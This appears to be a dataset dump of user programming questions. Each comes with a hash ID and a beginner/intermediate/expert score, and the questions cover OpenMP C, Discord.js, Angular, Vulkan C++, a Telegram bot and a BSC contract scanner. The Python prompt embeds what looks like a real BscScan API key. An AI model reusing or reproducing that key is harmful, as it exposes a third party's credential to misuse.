wordcount[j].word)==0) wordcount[i].count++; } } #pragma omp critical printf(“%s %d\n”, wordcount[i].word, wordcount[i].count+1); //加1是因为之前初始化的时候给count赋值为0 } fclose(fp); //关闭文件 return 0; } 修改一下,这里有invaild controlling 报错
a92debbad6c4ad747d0273f9e83720bb
{ "intermediate": 0.28770458698272705, "beginner": 0.5667607188224792, "expert": 0.1455347090959549 }
12,700
I want to add on reaction emote remove to this code client.on(Events.MessageReactionAdd, async (reaction,user) =>{ if (reaction.partial) { try{ await reaction.fetch(); if (reaction.message.channel.id !== channel_Id) return; if (user.bot) return; console.log(reaction); const roleName = emojisList[reaction.emoji.name]; if (!roleName) return; // get the role object from the guild const guild = reaction.message.guild; const role = guild.roles.cache.find(r => r.name === roleName); if (!role) return; // add the role to the user/member const member = await guild.members.fetch(user.id); await member.roles.add(role); console.log(`Added ${roleName} role to ${member.user.tag}`); } catch(error) { console.error('Error assigning role:', error); } }});
f83dba66200a7d82c8c6f9208681aa63
{ "intermediate": 0.38313350081443787, "beginner": 0.40588638186454773, "expert": 0.21098017692565918 }
12,701
set the value of showModal property in angular to false when click outside the modal
59116b5afa97486a5ea77af2e54a0fb6
{ "intermediate": 0.5358867049217224, "beginner": 0.18122577667236328, "expert": 0.2828874886035919 }
12,702
const Cup = () => { cupDrawer.drawCell( context, item, maxVolume, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); cupDrawer.drawFill( context, item, maxVolume, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); export default Cup; const cupDrawer = { clear: (ctx: CanvasRenderingContext2D, size: CanvasSize) => { ctx.clearRect(0, 0, size.width, size.height); }, drawCell: ( ctx: CanvasRenderingContext2D, cupItem: CupItem, maxVolume: number, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.beginPath(); ctx.strokeStyle = cupOptions(darkMode).border.color; ctx.lineWidth = cupOptions(darkMode).border.width; ctx.fillStyle = cupTools.getCellBackground(cupItem.side, isBestPrice, darkMode); // @ts-ignore ctx.roundRect( 0, yPosition, cupTools.getCellWidth(fullWidth, cupItem.quantity, maxVolume, isBestPrice), cellHeight, cupOptions(darkMode).border.radius * dpiScale, ); ctx.fill(); ctx.stroke(); }, drawFill: ( ctx: CanvasRenderingContext2D, cupItem: CupItem, maxVolume: number, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.beginPath(); ctx.strokeStyle = “#ffffff00”; ctx.lineWidth = cupOptions().border.width; ctx.fillStyle = cupItem.side === “Buy” ? cupOptions(darkMode).bestBuy.fillColor : cupOptions(darkMode).bestSell.fillColor; drawRoundedRect( ctx, 0, yPosition, cupTools.getCellWidth(fullWidth, cupItem.quantity, maxVolume, false), cellHeight, cupOptions().border.radius * dpiScale, ); ctx.fill(); ctx.stroke(); }, }; export default cupDrawer; const cupOptions = (darkMode?: boolean) => ({ sell: { backgroundColor: darkMode ? “#4A0B09” : “#F3C9CE”, priceColor: darkMode ? “#fff” : “#B41C18”, quantityColor: darkMode ? “#CA1612” : “#191919”, }, bestSell: { backgroundColor: darkMode ? “#4A0B09” : “#d0706d”, fillColor: darkMode ? “#CA1612” : “#a5120e”, priceColor: “#FFFFFF”, quantityColor: “#FFFFFF”, }, buy: { backgroundColor: darkMode ? “#0f3b2b” : “#CAD7CD”, priceColor: darkMode ? “#fff” : “#006943”, quantityColor: darkMode ? “#00923A” : “#191919”, }, bestBuy: { backgroundColor: darkMode ? “#006943” : “#4d967b”, fillColor: darkMode ? “#00923A” : “#005737”, priceColor: “#FFFFFF”, quantityColor: “#FFFFFF”, }, font: { family: “Mont”, sizePx: 11, weight: 400, }, border: { width: 1, color: darkMode ? “#191919” : “#ffffff”, radius: 6, }, cell: { paddingX: 4, defaultHeight: 16, }, }); export const drawRoundedRect = ( ctx: CanvasRenderingContext2D, x: number, y: number, width: number, height: number, radius: number, ): void => { ctx.beginPath(); ctx.moveTo(x + radius, y + 1); ctx.lineTo(x + width - radius, y + 1); ctx.lineTo(x + width - radius, y + height - 1); ctx.lineTo(x + radius, y + height - 1); ctx.arcTo(x, y + height - 1, x, y + height - radius - 1, radius); ctx.lineTo(x, y + radius + 1); ctx.arcTo(x, y + 1, x + radius, y + 1, radius); ctx.closePath(); }; нужно вместо drawRoundedRect отрисовать прямоугольник и потом скруглить углы цветом светлой/темной темы. думаю нужно путь только построить немного иначе и в два патча (beginPath / closePath) Первым слоем рисуется обычный прямоугольник со скруглением. Вторым слоем прямоугольник без скругления. Третьим слоем рисуются скругления (розовые на скрине) белого цвета для светлой темы и темного для темной.
59f582b0a84d59f4c1ca2f76c5c4f8ba
{ "intermediate": 0.27013757824897766, "beginner": 0.5096419453620911, "expert": 0.22022052109241486 }
12,703
i have div in angular with condition *ngIf="showInfoCard, i want this div hide when click on any place in window
f00f6070a21c1d91e67b044202a838a4
{ "intermediate": 0.41161561012268066, "beginner": 0.26780128479003906, "expert": 0.32058313488960266 }
12,704
Schreib mir einer Methode welche das ausgewählte Bild läd und es anschließend darstellt. public void UploadImage() { Console.WriteLine("UploadImage method was executed..."); OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Filter = "Image files|*.png;*jpg;*jpeg;*jpng"; // User can only select these specific image formats openFileDialog.Multiselect = false; // User can only select one file at once if(openFileDialog.ShowDialog() == true) { // Checks if the uploaded file name is emtpy or null (invaild file) if(string.IsNullOrEmpty(openFileDialog.FileName)) { Console.WriteLine("File is invaild, please try again or try to upload a diffrent image!"); } else { string filePath = openFileDialog.FileName; try { Image image = new Image(); // Adds the selected image to the imageList imageList.Add(image); PrintList(); } catch(Exception ex) { Console.WriteLine("An error occured while saving the file: " + ex.Message); } } } else { // Occures if the user cancels the folder process Console.WriteLine("Process was cancelled by the user"); }
4a70aae28e034668a7f18acffce70ec1
{ "intermediate": 0.36095309257507324, "beginner": 0.45087623596191406, "expert": 0.1881706863641739 }
12,705
discord js message reaction remove not working
8e78db7329b93dd6f898d4dec2737e87
{ "intermediate": 0.3167409896850586, "beginner": 0.3921230733394623, "expert": 0.29113590717315674 }
12,706
As a Python developer, write a telegram bot based on Python-telegram-bot version 3.17. The goal is for the support team don't miss any questions from clients and for all questions to get an answer from the support team. The bot should listen to messages in certain client's group chats that it's already added there and forward unanswered questions to a private telegram channel to inform teammates about unanswered questions. The bot should wait for 1 hour, if any questions from clients hold more than 1 hour, the bot should forward the client message to a private channel. - The bot should identify the question patterns or if the customer is sharing a file with .zip.enc or .zip or .enc files. - If the client sends more than one question in several messages, the bot should forward all. - If the last message in the clients' groups is from one of the support team members, the bot should consider the questions as resolved, and no need to keep track it, until the next questions. - When the bot is forwarding the client's message to the private telegram channel, it should update the message with the actual client's group name and the waiting time of the client's message. - support teammates' chat ID is collected in a teammates.json file.
e8846906663f33daaa07167efc042292
{ "intermediate": 0.3301108777523041, "beginner": 0.32066455483436584, "expert": 0.3492245674133301 }
12,707
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. I am in the process of converting the codebase from using vulkan.h to vulkan.hpp, as well as utilising RAII. Here is the header and some source code from the Renderer class: Renderer.h: #pragma once #include <vulkan/vulkan.hpp> #include “Window.h” #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include “Pipeline.h” #include “Material.h” #include “Mesh.h” struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { vk::SurfaceCapabilitiesKHR capabilities; std::vector<vk::SurfaceFormatKHR> formats; std::vector<vk::PresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); vk::DescriptorSetLayout CreateDescriptorSetLayout(); vk::DescriptorPool CreateDescriptorPool(uint32_t maxSets); vk::Device* GetDevice(); vk::PhysicalDevice* GetPhysicalDevice(); vk::CommandPool* GetCommandPool(); vk::Queue* GetGraphicsQueue(); vk::CommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<vk::Buffer, vk::DeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<vk::Buffer> mvpBuffers; std::vector<vk::DeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<vk::Image> swapChainImages; std::vector<vk::ImageView> swapChainImageViews; vk::Extent2D swapChainExtent; vk::RenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; vk::Format swapChainImageFormat; std::vector<vk::CommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; vk::Instance instance; vk::PhysicalDevice physicalDevice; vk::Device device; vk::SurfaceKHR surface; vk::SwapchainKHR swapchain; vk::CommandPool commandPool; vk::CommandBuffer currentCommandBuffer; std::vector<vk::Framebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<vk::Semaphore> imageAvailableSemaphores; std::vector<vk::Semaphore> renderFinishedSemaphores; std::vector<vk::Fence> inFlightFences; size_t currentFrame; vk::Queue graphicsQueue; vk::Queue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(vk::PhysicalDevice device, vk::SurfaceKHR surface); vk::SurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<vk::SurfaceFormatKHR>& availableFormats); vk::PresentModeKHR chooseSwapPresentMode(const std::vector<vk::PresentModeKHR>& availablePresentModes); vk::Extent2D chooseSwapExtent(const vk::SurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(vk::PhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(vk::PhysicalDevice physicalDevice); }; Renderer.cpp: void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete device.waitForFences(1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); device.resetFences(1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. vk::Result acquireResult = device.acquireNextImageKHR(swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], vk::Fence(), &imageIndex); if (acquireResult != vk::Result::eSuccess && acquireResult != vk::Result::eSuboptimalKHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } vk::CommandBufferBeginInfo beginInfo{}; beginInfo.flags = vk::CommandBufferUsageFlagBits::eOneTimeSubmit; currentCmdBufferIndex = (currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; currentCommandBuffer.begin(beginInfo); vk::RenderPassBeginInfo renderPassInfo{}; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black vk::ClearValue clearColor = { vk::ClearColorValue(std::array<float, 4>{0.0f, 0.0f, 0.0f, 1.0f}) }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; currentCommandBuffer.beginRenderPass(renderPassInfo, vk::SubpassContents::eInline); } I am getting an error at the following line in Renderer::BeginFrame: renderPassInfo.renderArea.offset = { 0, 0 } It is saying "more than one operator matches the operands". What is the issue and how would I modify the code to fix it?
ff1cce176890df1c29a47aa8ec96f2bd
{ "intermediate": 0.3759238123893738, "beginner": 0.39688780903816223, "expert": 0.22718839347362518 }
12,708
XML is much more difficult to parse than json
459ebd1b9065f1f886cce44f1bc70a1c
{ "intermediate": 0.4025385081768036, "beginner": 0.30579081177711487, "expert": 0.29167068004608154 }
12,709
#include <stdio.h> #include <string.h> #include <ctype.h> #include <stdlib.h> #include <omp.h> #include <ctime> #define WORD_LENGTH 20 struct wordcount { char word[WORD_LENGTH]; int count; }; int sing () { FILE *fp; struct wordcount wordcount[100000]; char essay[200000], ch, temp[20];//定义essay数组存储文章内容,ch为每次读取的字符,temp数组暂存单词 int i, j, k, len, count, t; fp = fopen("word.txt", "r"); float start_time = clock();//记录开始时间 for(i=0; (ch = fgetc(fp)) != EOF; i++) essay[i] = ch; len = i;//获得文章长度 for(i=0; i<len; i++) { if(isalpha(essay[i]) || essay[i]=='-') //如果是字母或短横线,将其小写化 essay[i] = tolower(essay[i]); //否则将其替换为空格,方便单词的分割 else essay[i] = ' '; } k = 0; for(i=0; i<100000 && k<len; i++) { for(j=0; j<20 && essay[k]!=' ' && k<len; j++, k++) wordcount[i].word[j] = essay[k]; k++; //跳过下一个空格 } count = i; for(i=0; i<count; i++) wordcount[i].count = 0; //将所有单词出现次数初始化为0 for(i=0; i<count; i++) { int found = 0; for(j=0; j<i; j++) { if(strcmp(wordcount[i].word, wordcount[j].word)==0) //判断是否找到了已经处理过的单词 { found = 1; break; } } if(!found) { for(j=0; j<count; j++) { if(strcmp(wordcount[i].word, wordcount[j].word)==0) wordcount[i].count++; } } } float end_time = clock(); //记录结束时间 float time_taken = double(end_time - start_time) / CLOCKS_PER_SEC; printf("sing_time: %f\n",time_taken); fclose(fp);//关闭文件 return time_taken; } int main() { FILE *fp; struct wordcount wordcount[100000]; int num_words = 0; // 打开文件 fp = fopen("word.txt", "r"); if (fp == NULL) { printf("Failed to open file word.txt\n"); return 1; } // 读取文件内容 char essay[200000]; int len, i; float start_time = omp_get_wtime(); for (i = 0; !feof(fp); i++) { essay[i] = fgetc(fp); } len = i - 1; fclose(fp); // 将文件内容的非字母字符替换为空格 // #pragma omp parallel for shared(essay, len) for (int i = 0; i < len; i++) { if (!isalpha(essay[i])) { essay[i] = ' '; } } // 统计单词数量 #pragma omp parallel shared(wordcount, num_words) { struct wordcount count[100000] = {{0}}; int num_words_local = 0; // 统计子数组中的单词数量 #pragma omp for nowait for (int i = 0; i < len; i++) { if (isspace(essay[i])) { continue; // 跳过空格 } int j; char word[WORD_LENGTH + 1] = {0}; for (j = 0; !isspace(essay[i+j]) && j < WORD_LENGTH && i+j < len; j++) { word[j] = tolower(essay[i+j]); } int found = 0; for (int k = 0; k < num_words_local; k++) { if (strcmp(count[k].word, word) == 0) { count[k].count++; found = 1; break; } } if (!found) { strcpy(count[num_words_local].word, word); count[num_words_local].count = 1; num_words_local++; } i += j - 1; // 跳过本次处理的单词 } // 合并子数组中的统计结果 #pragma omp critical { for (int i = 0; i < num_words_local; i++) { int found = 0; for (int j = 0; j < num_words; j++) { if (strcmp(wordcount[j].word, count[i].word) == 0) { #pragma omp atomic update wordcount[j].count += count[i].count; found = 1; } } if (!found) { strcpy(wordcount[num_words].word, count[i].word); wordcount[num_words].count = count[i].count; #pragma omp atomic update num_words++; } } } } // 输出结果 for (i = 0; i < num_words; i++) { printf("%s %d\n", wordcount[i].word, wordcount[i].count); } //结束时间 float end_time = omp_get_wtime(); //计算程序运行时间 float time_taken = end_time - start_time; printf("time %f\n" , time_taken); sing(); return 0; } 改进这个代码的并行部分,它耗时太长了
ce81534e0fdb781c7058362a127a636c
{ "intermediate": 0.35904449224472046, "beginner": 0.5474917888641357, "expert": 0.0934637114405632 }
12,710
# Оптимизированный!!! Возвращает адреса созданных токенов из новых блоков в реальном времени # Выводит только контракты, у которых есть имя # Использован Web3 import asyncio import aiohttp import time from web3 import Web3 bscscan_api_key = 'CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS' # Create a semaphore with a limit of 3 semaphore = asyncio.Semaphore(1) abi = [{"constant": True, "inputs": [], "name": "name", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "view", "type": "function"}] w3 = Web3(Web3.HTTPProvider("https://bsc-dataseed.binance.org/")) async def get_contract_details(contract_address): try: checksum_address = Web3.to_checksum_address(contract_address) contract = w3.eth.contract(address=checksum_address, abi=abi) name = contract.functions.name().call() except Exception as e: print(f"Error getting contract details: {e}") return None return {"name": name} async def get_latest_block_number(): async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_blockNumber&apikey={bscscan_api_key}' async with session.get(url) as response: data = await response.json() return int(data['result'], 16) async def get_external_transactions(block_number): async with semaphore: async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_getBlockByNumber&tag={block_number}&boolean=true&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as e: print(f'Error in API request: {e}') return [] if data['result'] is None or isinstance(data['result'], str): print(f"Error: Cannot find the block") return [] return data['result'].get('transactions', []) async def get_contract_address(tx_hash): async with semaphore: async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_getTransactionReceipt&txhash={tx_hash}&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as e: print(f'Error in API request: {e}') return None if data['result'] is None or not isinstance(data['result'], dict): print(f"Error: Cannot find the address") return None return data['result'].get('contractAddress') def check_method_id(input_data): method_id = input_data[:10] return method_id[-4:] == '6040' async def process_block(block_number_int): block_number = hex(block_number_int) transactions = await get_external_transactions(block_number) if not transactions: print(f'No transactions found in block {block_number_int}') else: print(f'Transactions in block {block_number_int}:') for tx in transactions: if check_method_id(tx['input']): if tx['to'] is None: contract_address = await get_contract_address(tx['hash']) contract_details = await get_contract_details(contract_address) if contract_details: print(f"New contract creation with TokenTracker details: Contract Address: {contract_address}, Creator Address: {tx['from']}, Name: {contract_details['name']}, BlockNumber: {block_number_int}") print("\n") # Print an empty line between blocks async def display_transactions(block_start, block_end): tasks = [process_block(block_number) for block_number in range(block_start, block_end + 1)] await asyncio.gather(*tasks) async def main(): block_start = await get_latest_block_number() # Start with the latest block number block_end = block_start + 10 # Process 10 blocks initially while True: await display_transactions(block_start, block_end) # Update block_start and block_end to check for new blocks every 5 seconds block_start = block_end + 1 block_end = await get_latest_block_number() time.sleep(5) asyncio.run(main()) Complete the code above so that it also displays the age of the contract address and the age at which the token was traded.
9e443f39527f9a95d5ef8795d0d594d1
{ "intermediate": 0.4319572150707245, "beginner": 0.4892805814743042, "expert": 0.0787622258067131 }
12,711
laravel backpack request rule I have 5 upload_multiple Field at least one of them must filled, if no field filled must not save
3049c947a5733cd1f95aa5e2c8605a20
{ "intermediate": 0.4932877719402313, "beginner": 0.17834508419036865, "expert": 0.32836711406707764 }
12,712
i have written httpClient.Send(uri) how to get string resonse (which server sending back as response)?
ff4c2bb43da9dcc54f198bc8af51b5ff
{ "intermediate": 0.5600453019142151, "beginner": 0.21376682817935944, "expert": 0.2261878401041031 }
12,713
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. I am in the process of converting the codebase from using vulkan.h to vulkan.hpp, as well as utilising RAII. Here is the header and some source code from the Renderer class: Renderer.h: #pragma once #include <vulkan/vulkan.hpp> #include “Window.h” #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include “Pipeline.h” #include “Material.h” #include “Mesh.h” struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { vk::SurfaceCapabilitiesKHR capabilities; std::vector<vk::SurfaceFormatKHR> formats; std::vector<vk::PresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); vk::DescriptorSetLayout CreateDescriptorSetLayout(); vk::DescriptorPool CreateDescriptorPool(uint32_t maxSets); vk::Device* GetDevice(); vk::PhysicalDevice* GetPhysicalDevice(); vk::CommandPool* GetCommandPool(); vk::Queue* GetGraphicsQueue(); vk::CommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<vk::Buffer, vk::DeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<vk::Buffer> mvpBuffers; std::vector<vk::DeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<vk::Image> swapChainImages; std::vector<vk::ImageView> swapChainImageViews; vk::Extent2D swapChainExtent; vk::RenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; vk::Format swapChainImageFormat; std::vector<vk::CommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; vk::Instance instance; vk::PhysicalDevice physicalDevice; vk::Device device; vk::SurfaceKHR surface; vk::SwapchainKHR swapchain; vk::CommandPool commandPool; vk::CommandBuffer currentCommandBuffer; std::vector<vk::Framebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<vk::Semaphore> imageAvailableSemaphores; std::vector<vk::Semaphore> renderFinishedSemaphores; std::vector<vk::Fence> inFlightFences; size_t currentFrame; vk::Queue graphicsQueue; vk::Queue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(vk::PhysicalDevice device, vk::SurfaceKHR surface); vk::SurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<vk::SurfaceFormatKHR>& availableFormats); vk::PresentModeKHR chooseSwapPresentMode(const std::vector<vk::PresentModeKHR>& availablePresentModes); vk::Extent2D chooseSwapExtent(const vk::SurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(vk::PhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(vk::PhysicalDevice physicalDevice); }; Renderer.cpp: void Renderer::CreateInstance() { // Set up the application info vk::ApplicationInfo appInfo{}; appInfo.pApplicationName("Game Engine"); appInfo.applicationVersion(VK_MAKE_VERSION(1, 0, 0)); appInfo.pEngineName("Game Engine"); appInfo.engineVersion(VK_MAKE_VERSION(1, 0, 0)); appInfo.apiVersion(VK_API_VERSION_1_2); // Set up the instance create info vk::InstanceCreateInfo createInfo{}; createInfo.pApplicationInfo(&appInfo); // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount(glfwExtensionCount); createInfo.ppEnabledExtensionNames(glfwExtensions); createInfo.enabledLayerCount(0); std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vk::enumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<vk::LayerProperties> availableLayers(layerCount); vk::enumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount(static_cast<uint32_t>(validationLayers.size())); createInfo.ppEnabledLayerNames(validationLayers.data()); } else { createInfo.enabledLayerCount(0); } // Create the Vulkan instance instance = vk::createInstance(createInfo); } I am getting errors in the Renderer::CreateInstance method for both appInfo and createInfo. It says "expression preceding parantheses of apparent call must have (pointer-to-) function type". Do you know what the issue is and how to fix it?
a5b483866b8fd4f45ab1d40453aedc5e
{ "intermediate": 0.3759238123893738, "beginner": 0.39688780903816223, "expert": 0.22718839347362518 }
12,714
Give a general outline in Nim code to create rollback based netcode for a game.
072ac5521bb76807677ba2fa16a517cb
{ "intermediate": 0.29745736718177795, "beginner": 0.22132813930511475, "expert": 0.4812144637107849 }
12,715
I have this code, and when I run it, it gives me error:
c01629839005ae03ec6eba99451ac555
{ "intermediate": 0.33350619673728943, "beginner": 0.3318086862564087, "expert": 0.3346850872039795 }
12,716
No module named 'keras.layers.recurrent'怎么改
f6a631fd6261a2d4dfa1e5c9b6e3fd3d
{ "intermediate": 0.3589576482772827, "beginner": 0.381839394569397, "expert": 0.2592029571533203 }
12,717
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. I am in the process of converting the codebase from using vulkan.h to vulkan.hpp, as well as utilising RAII. Here is the new header for the Renderer class: Renderer.h: #pragma once #include <vulkan/vulkan.hpp> #include “Window.h” #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include “Pipeline.h” #include “Material.h” #include “Mesh.h” struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { vk::SurfaceCapabilitiesKHR capabilities; std::vector<vk::SurfaceFormatKHR> formats; std::vector<vk::PresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); vk::DescriptorSetLayout CreateDescriptorSetLayout(); vk::DescriptorPool CreateDescriptorPool(uint32_t maxSets); vk::Device* GetDevice(); vk::PhysicalDevice* GetPhysicalDevice(); vk::CommandPool* GetCommandPool(); vk::Queue* GetGraphicsQueue(); vk::CommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<vk::Buffer, vk::DeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<vk::Buffer> mvpBuffers; std::vector<vk::DeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<vk::Image> swapChainImages; std::vector<vk::ImageView> swapChainImageViews; vk::Extent2D swapChainExtent; vk::RenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; vk::Format swapChainImageFormat; std::vector<vk::CommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; vk::Instance instance; vk::PhysicalDevice physicalDevice; vk::Device device; vk::SurfaceKHR surface; vk::SwapchainKHR swapchain; vk::CommandPool commandPool; vk::CommandBuffer currentCommandBuffer; std::vector<vk::Framebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<vk::Semaphore> imageAvailableSemaphores; std::vector<vk::Semaphore> renderFinishedSemaphores; std::vector<vk::Fence> inFlightFences; size_t currentFrame; vk::Queue graphicsQueue; vk::Queue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(vk::PhysicalDevice device, vk::SurfaceKHR surface); vk::SurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<vk::SurfaceFormatKHR>& availableFormats); vk::PresentModeKHR chooseSwapPresentMode(const std::vector<vk::PresentModeKHR>& availablePresentModes); vk::Extent2D chooseSwapExtent(const vk::SurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(vk::PhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(vk::PhysicalDevice physicalDevice); }; Can you update the following code of the BufferUtils class to 